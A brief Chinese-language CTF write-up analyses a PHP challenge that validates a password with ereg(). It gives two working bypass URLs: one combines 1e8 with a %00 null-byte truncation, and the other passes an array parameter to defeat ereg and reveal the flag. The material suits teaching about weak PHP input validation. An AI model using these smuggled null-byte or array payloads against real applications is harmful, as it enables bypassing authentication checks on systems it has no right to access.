ereg正则%00截断

Posted observering

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了ereg正则%00截断相关的知识,希望对你有一定的参考价值。

0x01

<?php
$flag = "xxx";
if (isset ($_GET[‘password‘]))
{
if (ereg ("^[a-zA-Z0-9]+$", $_GET[‘password‘]) === FALSE)
{
echo ‘You password must be alphanumeric‘;
}
else if (strlen($_GET[‘password‘]) < 8 && $_GET[‘password‘] > 9999999)
{
if (strpos ($_GET[‘password‘], ‘-‘) !== FALSE) //strpos — 查找字符串首次出现的位置
{
die(‘Flag: ‘ . $flag);
}
else
{
echo(‘- have not been found‘);
}
}
else
{
echo ‘Invalid password‘;
}
}
?>

0x02 代码分析

ereg()函数搜索一个字符串中的指定字符串,成功true,错误false
传入的值必须是数字或大小写字符
传入的值长度小于8,但要大于9999999

长度和数值矛盾,采用1e8,1x10的8次方,绕过

方法1:%00截断

技术图片

*-* 双星闭合
http://123.206.87.240:9009/5.php?password=1e8%00*-*

方法2:数组

数组过滤掉greg判断

http://123.206.87.240:9009/5.php?password[]=1e8-

技术图片

参考链接:
https://www.cnblogs.com/gaonuoqi/p/11408229.html

以上是关于ereg正则%00截断的主要内容,如果未能解决你的问题,请参考以下文章

php函数漏洞

13.Once More

ereg

一些可能需要的正则

PHP 正则表达式总结

PHP漏洞 (转)